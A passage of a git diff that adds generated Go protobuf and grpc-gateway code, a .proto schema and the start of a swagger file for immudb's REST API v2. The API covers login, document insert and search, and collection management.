return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*LoginRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*LoginResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*PossibleIndexValue); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionInformation); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + file_schemav2_proto_msgTypes[5].OneofWrappers = []interface{}{ + (*PossibleIndexValue_NumberValue)(nil), + (*PossibleIndexValue_StringValue)(nil), + (*PossibleIndexValue_BoolValue)(nil), + (*PossibleIndexValue_IntValue)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_schemav2_proto_rawDesc, + NumEnums: 0, + NumMessages: 16, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_schemav2_proto_goTypes, + DependencyIndexes: file_schemav2_proto_depIdxs, + MessageInfos: file_schemav2_proto_msgTypes, + }.Build() + File_schemav2_proto = out.File + file_schemav2_proto_rawDesc = nil + file_schemav2_proto_goTypes = nil + file_schemav2_proto_depIdxs = nil +} diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/schemav2/schemav2.pb.gw.go new file mode 100644 index 0000000000..6a5c4adbe9 --- /dev/null +++ b/pkg/api/schemav2/schemav2.pb.gw.go @@ -0,0 +1,574 @@ +// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. +// source: schemav2.proto + +/* +Package schemav2 is a reverse proxy. + +It translates gRPC into RESTful JSON APIs. +*/ +package schemav2 + +import ( + "context" + "io" + "net/http" + + "github.com/golang/protobuf/descriptor" + "github.com/golang/protobuf/proto" + "github.com/grpc-ecosystem/grpc-gateway/runtime" + "github.com/grpc-ecosystem/grpc-gateway/utilities" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/grpclog" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" +) + +// Suppress "imported and not used" errors +var _ codes.Code +var _ io.Reader +var _ status.Status +var _ = runtime.String +var _ = utilities.NewDoubleArray +var _ = descriptor.ForMessage +var _ = metadata.Join + +func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq LoginRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq LoginRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.Login(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentInsert(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentSearch(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionCreate(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionList(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionDelete(ctx, &protoReq) + return msg, metadata, err + +} + +// RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". +// UnaryRPC :call ImmuServiceServer directly. +// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead. +func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error { + + mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +// RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but +// automatically dials to "endpoint" and closes the connection when "ctx" gets done. +func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { + conn, err := grpc.Dial(endpoint, opts...) + if err != nil { + return err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + }() + }() + + return RegisterImmuServiceHandler(ctx, mux, conn) +} + +// RegisterImmuServiceHandler registers the http handlers for service ImmuService to "mux". +// The handlers forward requests to the grpc endpoint over "conn". +func RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn)) +} + +// RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceClient" +// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in +// "ImmuServiceClient" to call the correct interceptors. +func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error { + + mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +var ( + pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "system", "login"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentInsert"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentSearch"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionCreate"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionList"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionDelete"}, "", runtime.AssumeColonVerbOpt(true))) +) + +var ( + forward_ImmuService_Login_0 = runtime.ForwardResponseMessage + + forward_ImmuService_DocumentInsert_0 = runtime.ForwardResponseMessage + + forward_ImmuService_DocumentSearch_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionCreate_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionList_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionDelete_0 = runtime.ForwardResponseMessage +) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/schemav2/schemav2.proto new file mode 100644 index 0000000000..c076393203 --- /dev/null +++ b/pkg/api/schemav2/schemav2.proto @@ -0,0 +1,143 @@ +syntax = "proto3"; + +package immudb.schemav2; + +import "google/api/annotations.proto"; +import "google/protobuf/empty.proto"; +import "google/protobuf/struct.proto"; +import "schema.proto"; +import "protoc-gen-swagger/options/annotations.proto"; + +option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; +option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + info: { + title: "immudb REST API v2"; + description: "" + }; + security_definitions: { + security: { + key: "bearer" + value: { + type: TYPE_API_KEY + in: IN_HEADER + name: "Authorization" + description: "Authentication token, prefixed by Bearer: Bearer " + } + } + } + security: { + security_requirement: { + key: "bearer" + } + } +}; + +message DocumentInsertRequest { + string collection = 1; + repeated google.protobuf.Struct document = 2; +} + +message DocumentSearchRequest { + string collection = 1; + map query = 2; + uint32 page = 3; + uint32 perPage = 4; +} + +message DocumentSearchResponse { + repeated google.protobuf.Struct results = 1; + uint32 page = 2; + uint32 perPage = 3; + uint32 entriesLeft = 4; +} + +message LoginRequest { + string username = 1; + string password = 2; + string database = 3; + bool writeAccess = 4; +} + +message LoginResponse { + string token = 1; +} + +message PossibleIndexValue { + // The kind of value. + oneof kind { + // Represents a double value. + double number_value = 1; + // Represents a string value. + string string_value = 2; + // Represents a boolean value. + bool bool_value = 3; + // Represents a int64 value + int64 int_value = 4; + } +} + +message CollectionCreateRequest { + string name = 1; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionInformation { + string name = 1; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionListRequest { +} + +message CollectionListResponse { + repeated CollectionInformation collections = 1; +} + +message CollectionDeleteRequest { + string name = 1; +} + + +service ImmuService { + rpc Login(LoginRequest) returns (LoginResponse) { + option (google.api.http) = { + post: "/api/v2/system/login" + body: "*" + }; + } + + rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { + option (google.api.http) = { + post: "/api/v2/documents/documentInsert" + body: "*" + }; + } + + rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { + option (google.api.http) = { + post: "/api/v2/documents/documentSearch" + body: "*" + }; + } + + rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { + option (google.api.http) = { + post: "/api/v2/collections/collectionCreate" + body: "*" + }; + } + rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { + option (google.api.http) = { + post: "/api/v2/collections/collectionList" + body: "*" + }; + } + rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { + option (google.api.http) = { + post: "/api/v2/collections/collectionDelete" + body: "*" + }; + } +} \ No newline at end of file diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/schemav2/schemav2.swagger.json new file mode 100644 index 0000000000..d040f6bfbe --- /dev/null +++ b/pkg/api/schemav2/schemav2.swagger.json @@ -0,0 +1,825 @@ +{ + "swagger": "2.0", + "info": { + "title": "immudb REST API v2", + "version": "version not set" + }, + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "paths": { + "/api/v2/collections/collectionCreate": { + "post": { + "operationId": "ImmuService_CollectionCreate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + }, + "default": { + "description": "An unexpected error 